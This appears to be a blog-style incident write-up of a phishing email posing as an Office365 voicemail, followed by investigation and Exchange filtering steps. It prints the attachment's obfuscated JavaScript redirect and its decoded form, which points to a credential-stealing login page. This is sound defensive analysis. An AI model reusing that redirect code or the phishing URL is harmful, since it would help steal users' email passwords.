To Be A CyberMan: The spam email investigation 1

 To Be A CyberMan: The spam email investigation 1

1. Detection

The HelpDesk Team reported a spam email case. The spam email subject is "Audio-Message Received 6 July.2020". The email pretends a Vmail from Office365 with an HTM attachment named as a phone number.

The Phishing Email comes from the email address: graham@ghtec.co.uk. More than 20 employees got this email. If we download the attached file and open it, it will locate to a phishing website.

     

2. Analysis and Traced

From the attached HTM file, I can see the source code is:

<ads><script language="javascript">document.write(unescape('%3c%6d%65%74%61%20%68%74%74%70%2d%65%71%75%69%76%3d%22%72%65%66%72%65%73%68%22%20%63%6f%6e%74%65%6e%74%3d%22%31%3b%75%72%6c%3d%68%74%74%70%73%3a%2f%2f%62%65%6e%6e%79%72%61%74%69%6f%6e%73%65%74%2e%6e%65%74%2f%63%63%2f%49%74%2f%61%58%52%41%62%6d%4e%79%61%53%35%6a%62%32%30%3d%22%3e'));</script></ads>

All of those numbers are hexadecimal values for ASCII characters. I decoded the string using online Coder’s Toolbox(https://coderstoolbox.net/string/#!encoding=xml&action=encode&charset=us_ascii). Set string conversion options to URL and Decode. 

After decoded, the html resource code is:

<script language="javascript">document.write(unescape('<meta http-equiv="refresh" content="1;url=https://bennyrationset.net/cc/It/aXRAbmNyaS5jb20=">

'));</script>

From the resource code, we can tell that this script will re-locate your browser to the phishing website, The phishing website is similar to the Microsoft email login portal. When you type in your email address, The website actually steals your email password.

    

3. Investigation

    3.1 Check Threat Management, check the Quarantine Tab to see if the spam email was quarantined.

    

    3.2 Check The email Message Header, use Microsoft Message Header Analyzer

    

    

    3.3 Run a message trace, locate the message in the results, and then view specific details about the message

    

    

 Here is the result of the email trace.

4. Protection 

    4.1. Create Exchange connection filter policy, add original IP address into Exchange IP block List

    

    

    4.2 Create Spam filter policy, Add the email address and email domain into spam filter BlackList

    

    4.3 Mark JavaScript or VBScript in HTML as Spam, Mark Frame, or Iframe Tags in HTML as Spam.

    

    4.4 Purchase Office 365 Advanced Threat Protection service(ATP) for some critical accounts.

    4.5 Consider developing the commercial email spam/protection Email Anti-Spam Filtering solutions on Exchange such as Proofpoint Essentials, Mimecast, Barracuda Essentials.